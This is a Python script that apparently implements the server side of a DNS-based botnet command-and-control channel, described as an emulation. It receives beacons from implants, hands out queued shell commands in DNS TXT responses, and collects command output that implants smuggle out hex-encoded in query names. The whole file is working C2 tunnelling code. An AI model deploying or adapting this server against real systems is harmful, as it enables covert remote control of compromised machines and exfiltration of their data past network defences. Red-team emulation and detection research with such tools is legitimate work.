import argparse
import socket
import base64
import sys
import os
from binascii import unhexlify,hexlify
import logging
import json
from datetime import datetime

try:
    from dnslib import *
except ImportError:
    print("Missing dependency dnslib: <https://pypi.org/project/dnslib/>. Please install it with `pip install dnslib`.")
    sys.exit(1)


# defines the log format
LOG_FORMAT = "%(asctime)s.%(msecs)03d - %(levelname)s - %(message)s"
DATE_FORMAT = "%m/%d/%Y %H:%M:%S"
logging.basicConfig(filename='my.log', level=logging.DEBUG, format=LOG_FORMAT, datefmt=DATE_FORMAT)


# get the command from a file named {implantid}-command.txt
# and send it to the agent via DNS TXT response.
# max TXT record is restricted to 255 characters.
def dns_beacon_query_processor(sock,implantid,counter,addr):
    # append the new incoming beacons to the file
    # the filename must align with the one in ssh_server.py
    with open("beacons_list.txt","a") as f:
        f.write("{time} [{id}] Beacon({counter})\n".format(time=datetime.now().strftime('%Y/%m/%d %H:%M:%S'),id=implantid,counter=counter))
        #f.flush()
    if os.path.isfile("{id}-command.txt".format(id=implantid)):
        with open("{id}-command.txt".format(id=implantid),"r") as f:
            content = f.read(255)
        dns_query_responder(sock,addr,content.rstrip())
        os.unlink("{id}-command.txt".format(id=implantid))
    else:
        dns_query_responder(sock,addr,"")


# write the output to a file named {implantid}-output.txt
def dns_output_query_processor(sock,implantid,outhex,addr):
    with open("{id}-output.txt".format(id=implantid),"a") as f:
        f.write(unhexlify(outhex).decode())
    dns_query_responder(sock,addr,"ok")


def dns_query_processor(sock,domain,addr):
    data = domain.replace("."+base_domain, "")
    #print(domain)
    try:
        outhex,counter,query_type,implantid = data.split('.')

        if query_type == 't':
            dns_beacon_query_processor(sock,implantid,counter,addr)
        elif query_type == 'o':
            dns_output_query_processor(sock,implantid,outhex,addr)
    except:
        pass


def dns_query_responder(sock,addr,content):
    logging.info("received dns requry of {domain} on type TXT".format(domain=str(request.q.qname)[:-1]))
    reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    if content:
        reply.add_answer(RR(request.q.qname, QTYPE.TXT, rdata=TXT(content)))
    logging.info("sending dns response to {addr} with data: {data}".format(addr=str(addr),data=reply.pack()))
    sock.sendto(reply.pack(),addr)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="DNSBotnet emulation server")
    parser.add_argument("-domain", help = "the domain to listen on", required=True)
    args = parser.parse_args()

    global base_domain

    base_domain  = args.domain

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.bind(('0.0.0.0',53))

    print("Listening on {domain}".format(domain=base_domain))

    while True:
        data,addr = sock.recvfrom(1024)
        global request
        request=DNSRecord.parse(data)
        qnames = str(request.q.qname)[:-1]
        dns_query_processor(sock, qnames, addr)

